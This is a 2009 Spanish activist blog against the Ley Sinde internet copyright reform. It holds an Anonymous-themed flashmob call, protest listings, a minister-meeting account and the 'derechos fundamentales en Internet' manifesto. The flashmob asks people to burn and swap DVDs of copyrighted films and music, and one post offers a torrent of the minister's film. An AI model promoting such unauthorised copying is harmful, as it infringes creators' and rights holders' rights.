"Cuando el PODER del AMOR sobrepase al AMOR al PODER, el mundo conocerá la PAZ."
Jimi Hendrix.

“Cuanto más pienso sobre ello, cada vez más me doy cuenta de que no hay NADA más profundamente Artístico que AMAR a Los Otros.”
Van Gogh.

***ADVERTENCIA ***: Esta flashmob *** SÍ *** es una INOCENTADA:
inocentada.
1. f. Broma o chasco que se da a alguien en el día de los Santos Inocentes.

pirata.
4. com. Persona cruel y despiadada.

Para SinD: por I-NO-CEN-TE. AsustantemIente Con AMOR y HUMOR. mmmmmmmmmmmmmmmmuacssssssssssss!

SinD es I-NO-CEN-TE.
Somos PIRATAS del AMOR(cín).
Somos los Reyes del DVD Frito.
Somos CULPABLES: nuestro delito es la iMAGInAción.

Somos Anónimo.
Somos Legión.
No perdonamos.
No olvidamos.
Seremos escuchados.
Esperenos.

"Esta es mi definición de Ley: algo que puede ser violado."
Platón.

****************************************************
****************************************************
****************************************************
******* Lunes, 28 de Diciembre a las 20:00pm **************
******* La Belleza quiere ser LIBRE. **********************
******* Somos ANÓNIMO. Somos Legión. ******************
****************************************************
****************************************************
****************************************************

ANÓNIMO ama y protege la CULTURA y la BELLEZA: COMPARTIÉNDOLA.

En TODAS LAS CIUDADES de ESPAÑA.

Flashmob por la CULTURA:

Compartir es LEGAL.

Amamos lo que Compartimos.
Compartimos lo que Amamos:

La Cultura se protege COMPARTIÉNDOLA.

SinD: ¡¡¡quenotenterassss!!!

Primero ÚNETE a nuestro Grupo de ANÓNIMO en Facebook: http://bit.ly/4sNHdo
Después confirma tu asistencia a la HackZión: http://bit.ly/763et4

FLASHMOB por la CULTURA: A de AMORCIN, Reyes del DVD Frito.

1ª HacKZión de ANÓNIMO en TODA ESPAÑA, en 5 sencillitos pasos:

1 - Fríe en tu casa uno o más DVDs con todo aquello que te haya EMOCIONADO profundamente y que AMAS -películas, documentales, música, libros, cómics, fotografías... - y que desearías COMPARTIR con un nuevo AMIGO INVISIBLE.

2 - En cada DVD, crea una carpeta llamada "V de ?MORCIN". Escribe una carta a tu AMIGO INVISIBLE, contándole porqué has decidido compartir con él ese DVD y en el que, si lo deseas, también puedes incluir obras de TU propia CREACIÓN:

Cuadros, poesías, cuentos, composiciones musicales, vídeos, fotografías: TU ARTE, que compartirás libremente con el mundo.

3 - Para identificar a los otros AMORCINES que acudiremos a la flashmob, cada AMORCIN llevará una CARETA de ANÓNIMO.

Puedes confeccionarte tu propia careta imprimiendo en A3 (o en un A4 cada lado) esta imagen: http://i47.tinypic.com/oidtgo.jpg

Además todos llevaremos en la solapa una V roja invertida, simbolizando tanto la A de ANÓNIMO como la V de Vendetta, bien en forma de trozo de tela, o bien pintada en rojo sobre una pequeña cartulina de fondo blanco.

Esta V roja invertida representa un movimiento ANÓNIMO ciudadano, apolítico, independiente de cualquier organización y de Desobediencia Civil por la PAZ y la NO-VIOLENCIA, el AMOR, La Cultura, el Arte, la Belleza y alientada por el espíritu humano de COMPARTIR, inspirada en el simbolismo de la película "V de Vendetta".

4 - Los participantes se irán reuniendo el Lunes 28 de Diciembre a las 20:00pm, en torno a la zona acordada en su localidad:

A Coruña: Plaza de Maria Pita
Albacete: Plaza del Altozano
Alcalá de Henares: Plaza de Cervantes
Alicante: Explanada de España, frente a la Rambla de Méndez Núñez
Almeria: Plaza Circular
Ávila: Plaza del Chico
Aviles: Plaza de España
Badajoz: Plaza de San Francisco
Barcelona: Plaça Catalunya
Bilbo/Bilbao: Plaza del Teatro Arriaga.
Burgos: Plaza Mayor
Cáceres: Plaza Mayor
Cádiz: Plaza de San Juan de Dios
Cartagena: Plaza de Juan XXIII
Castellón: Plaça de la Independència Plaza de la Independencia
Ciudad Real: Parque del Torreón
Córdoba: Plaza de las Tendillas
Collado Villalba: Plaza del Ayuntamiento
Cuenca: Plaza del Nazareno
Elx/Elche: Plaça Baix
Gijón/Xixón: Plaza del Parchís
Girona : Plaça del Vi (ajuntament)
Granada: Fuente de las Batallas
Graus: Plaza España
Guadalajara: Plaza Mayor
Huelva: Plaza de las Monjas
Huesca: Plaza Navarra
Eivissa/isla Ibiza: Paseo de Vara de Rey
Jaén: Plaza de la Constitución
Las Palmas de Gran Canaria: Parque Santa Catalina
León/Llión: Plaza de San Marcelo
Lleida: Plaça de Sant Joan
Logroño: Plaza del Ayuntamiento
Madrid: Puerta del Sol
Málaga: Plaza de la Constitución
Melilla: Plaza de España, frente al Palacio de la Asamblea
Mérida: Plaza de España
Murcia: Glorieta de España
Oviedo/Uviéu: Plaza de la Escandalera
Palencia: Plaza Mayor
Plasencia (Cáceres): Plaza Mayor
Palma de Mallorca: Plaza Mayor
Pamplona/Iruñea: Plaza del Castillo
Salamanca: Plaza Mayor
San Sebastián/Donostia: Jardines de Alderdi Eder, frente al ayuntamiento
Santa Cruz de Tenerife: Plaza de la Candelaria
Santander: Plaza del Ayuntamiento
Santiago de Compostela: Praza do Obradoiro
Segovia: Plaza del Azoguejo
Sevilla: Plaza Nueva
Sigüenza: Plaza de la Catedral
Soria: Plaza de Herradores
Tarragona: Plaça de la Font
Teruel: Plaza del Torico
Toledo: Plaza de Zocodover
Valencia: Plaça Ajuntament
Valladolid: Plaza Mayor
Vigo: Puerta del Sol
Vitoria-Gasteiz: Plaza de la Virgen Blanca
Zaragoza: Plaza del Pilar, frente al Ayuntamiento segunda.

5 - Todo el mundo programará sus alarmas de los móviles y relojes para las 20:00pm

En ese instante, todos los asistentes a la flashmob comenzaremos a bailar entre nosotros, intercambiándonos los DVD's continuamente, pasándolos de mano en mano, durante tan solo ***¡¡¡UN MINUTO exacto!!!***

Comenzarás dándole tu DVD a la primera persona que veas con una ? roja en la solapa y/o que lleve una máscara de V de Vendetta puesta: él/ella te dará el suyo.

Esa persona, a su vez, intercambiará ese DVD con otra persona con una ? roja en la solapa, y así continuamente durante UN MINUTO, durante el cual todos iremos intercambiándonos DVDs y bailando a lo loco entre nosotros, pero sin chocarnos.

¡Cuanto más ABSURDO y RIDICULAMENTE bailes, MEJOR! ¡¡No hay límites, PUESTO que nos tratan como a GILIPOLLAS...¡¡HAGAMOS EL GILIPOLLAS!! ¡¡Sé CREATIVO!!

Todo ello se puede acompañar de la música que lleves en tu móvil, cuanta más música diferente y más caóticamente LOCO sea todo, MEJOR.

Al ir intercambiándose todo el mundo los DVDs varias veces, al finalizar nadie sabrá quién fue la persona original que grabó el DVD que le haya tocado a cada uno, pues la última persona de quien lo reciba, a su vez lo habrá intercambiado antes con otros participantes. De esta forma, la SORPRESA cuando cada uno de nosotros lleguemos a casa, estará garantizada.

* Cuando finalice EL MINUTO de bailar entre todos A LO LOCO y de intercambiarnos los DVDs, nos quedaremos con el último DVD que haya terminado en nuestras manos.

Todos nos aplaudiremos, vocearemos y gritaremos durante *** TAN SOLO 5 segundos ***.

Después de esos 5 segundos de CACHONDEO, de repente TODOS nos dispersaremos *** EN ABSOLUTO SILENCIO ***, dirigiéndonos cada uno en una dirección y haciendo como si no hubiera ocurrido nada, SIN REÍRNOS ni lo más mínimo, completamente SERIOS, dejando flipada a toda la peña que no se lo espere. Ya tendremos tiempo para verlo en YouTube. :DDDD

Para encontrarlos facilmente, subiremos los vídeos a YouTube y publicaremos este LLAMAMIENTO a la HACKZION en las redes sociales con este tag:

AMORCIN

Después cada nos iremos a nuestra casa a disfrutar del DVD o DVD's que nos haya regalado nuestro AMIGO INVISIBLE y podremos darle las gracias en el foro!

Así les demostraremos a quienes nos gobiernan que la fuerza que tenemos en Internet para COMPARTIR y AMAR es IMPARABLE y entre nosotros crearemos un vínculo de PODER, una Consciencia de hermanamiento entre Seres Humanos, unidos por con la simple intención de COMPARTIR BELLEZA, de forma completamente ALTRUISTA y SIN NINGÚN ANIMO DE LUCRO.

COMPARTIR es Amorcín.
Amorcín es COMPARTIR.

* Manuel Castells es Catedrático de Sociología en la Universidad de Columbia. El Profesor Castells es el 4º Sociólogo más influyente del mundo por ranking de publicaciones académicas.
Durante sus clases, su alumno Daniel Cohn-Bendit y otros estudiantes iniciaron la R-eVolución del Mayo francés de 1968.
http://es.wikipedia.org/wiki/Manuel_Castells

- - - - - - - - - - Como bien ríe SinD jocosamente las muchas gracias de nada de los Internautas españoles, es absolutamente *** IMPOSIBLE *** que esta banda de "PIRATAS" de este grupo lleguemos a los 100.000 dispuestos a COMPARTIR la CULTURA que AMAMOS antes del 28 de Diciembre a las 8.

SinD, tranqui: es IMPOSIBLE que lleguemos a ser más de 100.000 "PIRATAS".

RECUERDA, nos vemos todos las CARAS y CARETAS el 28 a las 8. Llevaremos una V roja invertida en la solapa.

Somos ANÓNIMO.
Somos Legión.
No perdonamos.
No olvidamos.
Seremos escuchados.
Esperenos.

ANÓNIMO en Facebook: http://bit.ly/763et4
tag en redes sociales y YouTube: #ANONIMO

Lunes, 28 de Diciembre a las 20:00pm
La Belleza quiere ser LIBRE.
ANÓNIMO ama y protege la CULTURA y la BELLEZA: COMPARTIÉNDOLA.
En TODAS LAS CIUDADES de ESPAÑA.

¡¡¡PASALO!!!

La Cultura ni se compra ni se vende

2009-12-14T13:41:00.000+01:00

A quienes quieren engañar. Son unos estafadores. Hoy leyendo un articulo por internet:

Lo que la industria musical no quiere que sepas

La verdad es que se sabe. Los que realmente estan perdiendo dinero son las discográficas por intentar perpetuar hasta la saciedad un modelo de negocio caduco y desfasado. No han sabido evolucionar con las nuevas tecnologías y por eso pierden dinero. La culpa es de ellos y solo de ellos. Si no saben crecer que desaparezcan. A mi me da igual. Pero claro... cuanto dinero han ganado hasta ahora? Mucho. Y, como siempre, el que tiene el dinero es el que manda. La ministra no es mas que una ampliación del gran brazo que son las discográficas.

Da pena que no se vele por los derechos de los ciudadanos. Hoy y ahora el gobierno está luchando por los derechos de unas empresas privadas a costa de los demás.

Es una vergüenza!

No al canon ADSL

2009-12-10T13:19:00.001+01:00

Hacemos un llamamiento a toda la comunidad internauta para que firme la proposición que le haremos al gobierno por parte de sindescargas

Para firmar, pincha aqui.

La mayoría triunfará!

A Currar!

2009-12-09T10:57:00.003+01:00

Usuarios de Internet somos todos. Hasta la ministra. Hasta los relajados que editan un disco el año de la pera y quieren vivir de él hasta la jubilación.

Cuánto costaba un Cd antes de Internet?

Cuántas veces puedes ir al cine al mes?

La red que hay que extinguir es la red de millonarios que hicieron que grupos musicales cobrasen un tanto por ciento ridículo de cada disco que vendían a la vez que inflaban el precio final sabiendo que "o lo compras o no lo escuchas".

Hoy, afortunadamente, es el turno de las mayorías y la opinión que prevalecerá será la de éstas.

Si de un CD, que bajó sin remedio a diez €, el artista se lleva 2 y si el plástico y la carátula cuestan unos cts. . . .

DISCOS A TRES EUROS !! y CONCIERTOS EN DIRECTO TODOS LOS DIAS ! ! !

A Curraaaaaaar!

Las pelis cuantas mas mejor.

Venceremos!

Concentraciones por la neutralidad de la Red - 4 Diciembre 2009

2009-12-04T09:19:00.002+01:00

Esto es necesario añadirlo. Que lo lea todo el mundo. Publicarlo, difundirlo. Es necesario que se enteren. Y como decia Loquillo cuando todavia era músico y no un jeta:

A por ellos que son pocos y cobardes

PD: A ver si ahora vamos a tener que pagar un canon por poder utilizar las mismas frases que esta panda...

VIERNES 4 DE DICIEMBRE A LAS 20:00 . Por la neutralidad de la Red – contra la disposición del proyecto de ley.
Modus operandi: Repartir copias del siguiente documento (manifiesto contextualizado) pacíficamente, informar y criticar el proyecto de reforma.
Lugares (actualizando):
Madrid (frente al ministerio de cultura – grupo en facebook)
Barcelona (plaça sant jaume – grupo en facebook)
Sevilla (plaza nueva – ante ayuntamiento – grupo en facebook)
Valencia (plaza del temple)
Zaragoza (plaza españa – grupo en facebook)
Málaga (paseo de sancha – grupo en facebook – mapa)
Almería (puerta de la purchena – grupo en facebook)
Santander (plaza porticada – ante delegación del gob.)
Logroño (frente al palacio del gob. plaza del espolón)
Alicante (frente a subdelegación del gob. – grupo en facebook)
León (frente a subdelegación del gob. – plaza inmaculada – grupo en facebook)
A Coruña (frente a subdelegación del gob – plaza de Orense)
Palma de Mallorca (frente a subdelegación del gob c/constitución, 4 – grupo en facebook)
Cádiz (plaza de españa)
Valladolid (plaza mayor)
Oviedo (frente a sede de la junta – plaza escandalera – grupo en facebook)
Las Palmas de Gran Canaria (frente a la subdelegación del gob. en león y castillo)
Bilbao (plaza del arriaga – grupo en facebook)
Santiago de Compostela (frente sede de la SGAE, rua das salvadas, 13)
Córdoba (plaza de las tendillas – grupo en facebook)
Granada (plaza del carmen – grupo en facebook)
Cáceres (frente a subdelegación del gob. avnd virgen de la montaña – grupo en facebook)
Badajoz (frente a subdelegación del gob. avnd de europa – grupo en facebook)
Ourense (frente a subdelegación del gob. ¿dirección?)
Pamplona, en el Paseo de Sarasate
Enviad en comentarios los grupos en facebook de cada convocatoria.

Son unos Sinvergüenzas

2009-12-04T09:09:00.000+01:00

Os dejo un par de enlaces de la opinión de Enrique Dans, una de las personas que se reunieron ayer con Gonzalez-Sinde.

La sostenibilidad del sinvergüenza

La industria musical es un modelo de negocio caduco, donde el que se lleva la mejor parte son las discográficas y no los autores. Ellas son las que pierden dinero. Y esta ley no defiende al autor. Defiende a las discográficas. Esta ley no tiene nada que ver con la propiedad intelectual.

Así nos lo cuenta Enrique:

Es un poco tarde, ha sido un día duro y esta entrada promete ser larga. Así que me perdonaréis si simplemente me limito a comentar en una lista de puntos los temas que me parecen importantes para analizar la reunión que tuvimos a las 10:30 de la mañana con la Ministra Ángeles González-Sinde y parte de su gabinete. Una reunión en la que, no me canso de insistir, acudimos todos a título personal: nadie nos ha nombrado representantes de nadie, no nos hemos erigido en portavoces, y simplemente hemos recibido una llamada del Ministerio invitándonos a acudir. Y a mí, si el Ministerio me llama, acudo, e intento sumar en lugar de restar. Ojalá otros que tanto critican hicieran lo mismo.
Hay una serie de temas que creo que merecen un comentario, algunos por mantener el espíritu de total transparencia con el que hemos intentado trabajar en todo momento, otros por curiosos o interesante, otros porque simplemente creo que es bueno que “consten en acta”:
La selección de los que acudimos se llevó a cabo por el Ministerio. Éramos “la lista de Sinde” :-) El Ministerio pone el café, la sala, e invita. ¿Eché de menos gente? Sin duda, con algunos nombres que no voy a poner por no hacer de menos a otras personas, pero que seguramente todos tenemos en la cabeza, y con algunas carencias obligadas por la logística.
Un número creciente de participantes nos fuimos reuniendo en un bar de la zona para ponernos de acuerdo en los objetivos de la reunión. El primero, tener otra reunión, en poco tiempo, pero con posibilidad de prepararla, de llevar documentación y con un orden del día claro y consensuado. El segundo, y fundamental: que la disposición final del anteproyecto de ley, origen de todos los problemas, fuese retirado.
El Ministerio nos trató muy bien: la entrada fue directa y sin fichar, no tuvimos que dejar ninguno de nuestros gadgets como ocurre en otros ministerios, pudimos twittear y hacer todas las fotos que quisimos… ignoro si el darnos tanta libertad provino de querer hacerlo o de no atreverse a impedírnoslo (se nos insinuó tímidamente al principio de la reunión), pero la actitud es loable. Al César lo que es del César.
La Ministra estuvo con nosotros muy poco tiempo, y además, solo habló unos diez o quince minutos. Puedo entender la premura de agenda de una Ministra… pero vaya… la gente que estaba en la reunión había en muchos casos torturado sus agendas para poder acudir a la convocatoria, y eso de irse a la francesa tan pronto no sentó muy bien. Por otro lado, la salida de la Ministra se produjo precisamente en el momento en que planteamos el primer argumento “duro”, y la actitud de negativa al diálogo se mantuvo a partir de allí.
Frente al guante de seda del tratamiento hospitalario, la mano de hierro de Guillermo del Corral Van Damme, que en ningún momento abrió la posibilidad de diálogo: plantear una reunión “para explicarnos lo que no hemos entendido de la Ley” es un error, porque generalmente, el problema no es que no hayamos entendido, sino que no os habéis explicado. O peor, que por mucho que intentes entender… hay lo que hay, y es blanco y en botella.
Una vez identificado que el problema era la Disposición Final en cuestión, o nos dices “de acuerdo, la congelamos y analizamos en debate público”, o nos estás diciendo “sois unos mindundis y cómo podéis pensar que vamos a cambiar nada simplemente porque lo digáis vosotros”. Que de hecho, fue lo que nos dijo y sostuvo, condicionando el fracaso de la reunión. Que la segunda reunión la esperásemos para después de vacaciones de navidad, y que se nos invitaría a colaborar en el reglamento de la ley, pero que la ley estaba escrita en piedra, era completamente intocable. Lo siento, pero no. Menos aún si sabemos cómo la Coalición coló ahí esa Disposición Final: “Sam… la tocaste para ella, ahora tócala para mí”.
¿La decisión de levantarnos? Puede ser polémica, pero yo me estaba representando a mí mismo, y yo no quiero sentir que estoy perdiendo el tiempo en una reunión así. Esas reuniones no están para perder el tiempo: o existe la posibilidad de negociar, o lo demás son juegos florales. Primero se levantó y se fue Fernando Berlín, quien por cierto tuvo un papel de “oposición dura” que vino fenomenal, Sindo Lafuente y Rosalía Lloret se fueron por problemas de agenda, y nos llegamos a levantar y coger el abrigo Julio Alonso y yo, aunque no llegamos a abandonar la sala.
Se nos intentaron dar caramelos… pero me temo que el Ministerio no acaba de acertar con nuestro sabor favorito: se nos dijo que no nos preocupásemos por las webs que se cerrasen porque iban a crear “un superportal de contenidos” (sin comentarios…), y se nos insinuó que “en la Comisión de Expertos podría llegar a estar alguno de los que estábamos en esa mesa” (¿cómo? ¿Nosotros? ¿En la Comisión de Expertos? ¡Pero si es lo que veníamos a decirte que considerábamos una aberración!!) y que “tenían mucho dinero para proyectos culturales” (desde luego, qué raros son estos “chicos de Internet”, ¿no? ¡Son los únicos que no quieren nuestras subvenciones!)
Guillermo intentó reconducir el tema con casuística: absurdo. Los casos de aplicación son aburridos aquí: se sabe como empiezan y cómo acaban antes de que los empieces a contar. Pero sobre todo… nosotros criticamos lo que está en el papel, en negro sobre blanco. Tus hipotéticas intenciones con respecto al uso de lo que pone el papel, simplemente, no me las creo. Si hay algo que no piensas hacer jamás, quítalo del papel.
Tras varios intentos de Guillermo por “reeducarnos” y por ” hacer que nos diésemos cuenta de nuestros errores”, dimos por clausurada la reunión y nos fuimos a las oficinas de Idealista, que estaban a un paseíto corto de distancia, analizamos un poco cómo había ido la cosa y la estrategia de comunicación a seguir, y nos fuimos cada uno a su casa y dios a la de todos.
La intensidad mediática ha sido en todo momento excepcionalmente elevada. Desde cuando aparecimos en el Ministerio, hasta cuando salimos de él, y en todo momento a lo largo de la tarde: mi teléfono móvil y de casa no dejaron de sonar en todo el día, perdí completamente la cuenta de los medios en los que participé, y sé que muchas otras personas presentes en la reunión tuvieron experiencias similares. Ha habido portadas de periódicos, aperturas en informativos, una cobertura excepcionalmente alta. Gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, gracias, y mil veces gracias a todos los medios por el enorme interés que han manifestado por cubrir esta noticia, y más gracias aún para TODOS los que habéis twitteado, retwitteado, posteado, facebookeado, tuentiado, adherido, firmado, meneado, comentado, repartido, contado, leído, etc., etc. tantas cosas a lo largo de estos dias. No paréis, por favor: es esencial mantener la presión hasta que tengamos en la mano la retirada del anteproyecto de la disposición final de la vergüenza.
Mañana hay concentraciones en veinte ciudades españolas. Las manifestaciones en la calle nunca han sido el fuerte de los internautas, los intentos anteriores nunca han sido muy fructíferos en ese sentido, pero eso no quiere decir que no haya que seguir intentándolo… Tangibilizar las protestas es muy importante: a ver, un esfuerzo más antes de irse de puente!
En setenta y dos horas, la presión de la red ha conseguido una reunión con una ministra, una desautorización de dos ministras por parte de un tercero y de un presidente, y una promesa de rectificación del mismo aún por materializarse. Estamos a punto de conseguir que lo que la Coalición coló de rondón, la red lo saque a presión, y se reconozca su papel de “amistades peligrosas” en su relación con el gobierno.
No cabe duda: Internet ha madurado. En lo sucesivo, dudo que haya gobernantes que se atrevan a tomar decisiones que afecten a la red sin consultar con la red.

Una palabra tuya - Torrent

2009-12-03T20:06:00.000+01:00

Os cuelgo el enlace de una de sus pelis.

Una Palabra Tuya - Torrent

No la iría a ver al cine ni loco. Ni la alquilaria en un video club. De echo si no la ves, no te pierdes nada... Pero bueno, aprovechen mientras puedan.

TÍTULO ORIGINAL

Una palabra tuya

AÑO

2008

DURACIÓN

98 min.

Trailers/Vídeos

PAÍS

DIRECTOR

Ángeles González-Sinde

GUIÓN

Ángeles González-Sinde (Novela: Elvira Lindo)

MÚSICA

Julio de la Rosa

FOTOGRAFÍA

David Omedes

REPARTO

Malena Alterio, Esperanza Pedreño, Antonio de la Torre, Chiqui Fernández, Marilyn Torres, María Alfonsa Rosso, Luis Bermejo, Juan Sanz

PRODUCTORA

Tesela P.C. / Filmanova Invest

GÉNERO Y CRÍTICA

Drama. Comedia / SINOPSIS: Rosario (Malena Alterio) y Milagros (Esperanza Pedreño) son amigas y son barrenderas. También son jóvenes y no tienen ni novio, ni coche, ni amigos, ni futuro, a pesar de lo cual luchan, se pelean, se divierten, se quejan e incluso ligan... Hasta que un día, un encuentro inesperado dará un vuelco a su vida del modo más sorprendente. (FILMAFFINITY)
----------------------------------------
"Se eleva conforme el drama hace acto de aparición, tras un titubeante inicio en el que cierta monotonía (tanto expositiva como interpretativa) está a punto de descabalgar al espectador. (...) Malena Alterio y Esperanza Pedreño resultan desgarradoras" (Javier Ocaña: Diario El País)
----------------------------------------
"El retrato de estas dos barrenderas cala hondo, y cala bien, con una narrativa excelente, un sinfín de situaciones internas extremas que, más que llegar al corazón, te lo acaban troceando (...) Puntuación: *** (sobre 5)." (José Manuel Cuéllar: Diario ABC)
----------------------------------------
"Avanza como una comedia tristona y con poca gracia hasta que, en un par de giros dramáticos, el drama se apodera de la pantalla (...) En ese último tercio se suceden las secuencias logradas, intensas, impactantes (...) Puntuación: ** (sobre 5)." (Alberto Bermejo: Diario El Mundo)
----------------------------------------

No Robo, No Mato.

2009-12-03T19:41:00.003+01:00

Mentiras y Gordas

2009-12-03T13:49:00.004+01:00

¿Se verán afectados los particulares que descargan o comparten archivos?

Según el abogado David Bravo, la reforma atañe únicamente a prestadores de servicios de la sociedad de la información, lo que, en la práctica, "incluye a toda página web que obtenga algún rendimiento económico, por mínimo que sea". En principio nada dice de bloquear conexiones o intervenir ordenadores de particulares como se ha llegado a comentar en algunos foros.

¿Por qué ha causado tanto revuelo la propuesta del Gobierno?

Porque se pretende crear una institución, llamada Comisión de Propiedad Intelectual del Ministerio de Cultura, con la competencia de supervisar páginas web, en salvaguarda de los derechos de autor. Para el abogado Carlos Sánchez Almeida, el verdadero origen del problema reside en "el sistemático desprecio con el que nuestra clase política trata al tercer poder del Estado: el Poder Judicial, única autoridad legitimada por nuestra Constitución para secuestrar publicaciones".

Con esta ley, según Bravo, "se permite que cuando alguien denuncie una web por posible vulneración de propiedad intelectual, sea la Comisión del Ministerio de Cultura la que decida si existe tal vulneración, y en consecuencia, si se cierra una web". En un comunicado de prensa, el Ministerio de Cultura explicó que la Comisión "no se erigirá en un órgano de vigilancia de la red" y que sólo actuará a instancia de parte cuando un titular o una entidad de gestión colectiva de derechos denuncien que la difusión de sus obras se está llevando a cabo sin licencia ni autorización. Según el Ministerio, el objetivo de este órgano será el "restablecimiento de la legalidad mediante la retirada del contenido difundido sin autorización", algo que hasta ahora sólo podía hacer un juez.

¿Por qué plantea el Gobierno estas medidas?

Desde que es posible compartir y descargar archivos en Internet han sido muchos los intentos de los organismos privados por cerrar o limitar servicios y páginas web que enlazaban de los programas que posibilitan el intercambio y la descarga de contenidos sujetos a derechos de autor. En ningún caso, excepto uno y no del todo, han proliferado las medidas legales contra ‘las páginas de descargas’ porque es necesario que existan dos supuestos imprescindibles para que exista delito: que los archivos (discos, películas o libros) se alojen en el mismo servidor de la página y que haya ánimo de lucro.

Para Bravo, el objetivo declarado de este proyecto de ley es atacar a las páginas que enlazan a los contenidos, sin albergarlos, tras el fracaso de la persecución judicial. “Lo que han hecho, tras perder la industria un partido tras otro, es decirle al árbitro, dame a mí el pito que ya me encargo yo de esto”, asegura.

¿Se podrá compartir sin ánimo de lucro como hasta ahora?

La reforma no convierte en ilícito lo que era lícito a nivel particular. La copia privada nunca ha sido ilegal mientras no exista ánimo de lucro, y nada apunta a un cambio de dirección. Los usuarios, tal y como se percibe en el anteproyecto, podrán seguir utilizando como hasta ahora y sin novedades programas de intercambio de archivos (como eMule) que permiten enviar y recibir, conectando a un usuario que tenga un archivo y a otro que lo busca, y así sucesivamente. Esto ha provocado que plataformas pro derechos de autor, como Promusicae, no se den por satisfechas. El Gobierno se ha centrado en una 'lucha' directa contra las páginas de enlaces y los autores piden, además, un sistema de avisos para advertir a los usuarios que descarguen contenidos.

¿Qué es ese manifiesto espontáneo que ha surgido en Internet?

Un grupo no identificado de internautas, blogueros, periodistas y webmasters redactaron ayer un manifiesto cuya publicidad ha crecido como la espuma. El éxito de la iniciativa ha llegado al punto de forzar una reunión con la ministra de Cultura que tendrá lugar, según informaron algunos de los asistentes, hoy a partir de las 10.30 de la mañana. La carta emitida en defensa de los derechos fundamentales en Internet, en la que rechazan las reformas en la Ley de Propiedad intelectual, fue colgada en torno a las nueve de ayer y, al final de la jornada, más de 100.000 blogs se habían hecho eco del texto, dentro y fuera de nuestras fronteras.

La culpa del éxito la tiene Twitter. Bajo la etiqueta #manifiesto, miles de mensajes contra el anteproyecto contagiaban la red como el más letal de los virus. El canal de la Presidencia en esta red, (DesdelaMoncloa), fue saturado de mensajes hasta forzar una cita entre la ministra de Cultura, Ángeles González Sinde, y un espontáneo grupo de representantes que dicen actuar en nombre de 'los internautas', entre los que se incluyen el ex director de 20 Minutos José Cervera; el profesor y bloguer, Enrique Dans; Uno de los responsables de la web Microsiervos, Alvy; el ex director de Público, Ignacio Escolar o el fundador de Weblogs, Julio Alonso.

Manifiesto ‘En defensa de los derechos fundamentales en Internet’

2009-12-02T17:38:00.001+01:00

Ante la inclusión en el Anteproyecto de Ley de Economía sostenible de modificaciones legislativas que afectan al libre ejercicio de las libertades de expresión, información y el derecho de acceso a la cultura a través de Internet, los periodistas, bloggers, usuarios, profesionales y creadores de internet manifestamos nuestra firme oposición al proyecto, y declaramos que…

1.- Los derechos de autor no pueden situarse por encima de los derechos fundamentales de los ciudadanos, como el derecho a la privacidad, a la seguridad, a la presunción de inocencia, a la tutela judicial efectiva y a la libertad de expresión.

2.- La suspensión de derechos fundamentales es y debe seguir siendo competencia exclusiva del poder judicial. Ni un cierre sin sentencia. Este anteproyecto, en contra de lo establecido en el artículo 20.5 de la Constitución, pone en manos de un órgano no judicial -un organismo dependiente del ministerio de Cultura-, la potestad de impedir a los ciudadanos españoles el acceso a cualquier página web.

3.- La nueva legislación creará inseguridad jurídica en todo el sector tecnológico español, perjudicando uno de los pocos campos de desarrollo y futuro de nuestra economía, entorpeciendo la creación de empresas, introduciendo trabas a la libre competencia y ralentizando su proyección internacional.

4.- La nueva legislación propuesta amenaza a los nuevos creadores y entorpece la creación cultural. Con Internet y los sucesivos avances tecnológicos se ha democratizado extraordinariamente la creación y emisión de contenidos de todo tipo, que ya no provienen prevalentemente de las industrias culturales tradicionales, sino de multitud de fuentes diferentes.

5.- Los autores, como todos los trabajadores, tienen derecho a vivir de su trabajo con nuevas ideas creativas, modelos de negocio y actividades asociadas a sus creaciones. Intentar sostener con cambios legislativos a una industria obsoleta que no sabe adaptarse a este nuevo entorno no es ni justo ni realista. Si su modelo de negocio se basaba en el control de las copias de las obras y en Internet no es posible sin vulnerar derechos fundamentales, deberían buscar otro modelo.

6.- Consideramos que las industrias culturales necesitan para sobrevivir alternativas modernas, eficaces, creíbles y asequibles y que se adecuen a los nuevos usos sociales, en lugar de limitaciones tan desproporcionadas como ineficaces para el fin que dicen perseguir.

7.- Internet debe funcionar de forma libre y sin interferencias políticas auspiciadas por sectores que pretenden perpetuar obsoletos modelos de negocio e imposibilitar que el saber humano siga siendo libre.

8.- Exigimos que el Gobierno garantice por ley la neutralidad de la Red en España, ante cualquier presión que pueda producirse, como marco para el desarrollo de una economía sostenible y realista de cara al futuro.

9.- Proponemos una verdadera reforma del derecho de propiedad intelectual orientada a su fin: devolver a la sociedad el conocimiento, promover el dominio público y limitar los abusos de las entidades gestoras.

10.- En democracia las leyes y sus modificaciones deben aprobarse tras el oportuno debate público y habiendo consultado previamente a todas las partes implicadas. No es de recibo que se realicen cambios legislativos que afectan a derechos fundamentales en una ley no orgánica y que versa sobre otra materia.

Este texto se publica multitud de sitios web. Si estás de acuerdo, publícalo también en tu blog, twittéalo, facebookéalo.

Nombre:
E-mail:
Asunto:
Mensaje:
Más información:	Activando esto expresas que deseas recibir información sobre futuras acciones.

Nombre:
E-mail:
Asunto:
Mensaje:
Más información:	Activando esto expresas que deseas recibir información sobre futuras acciones.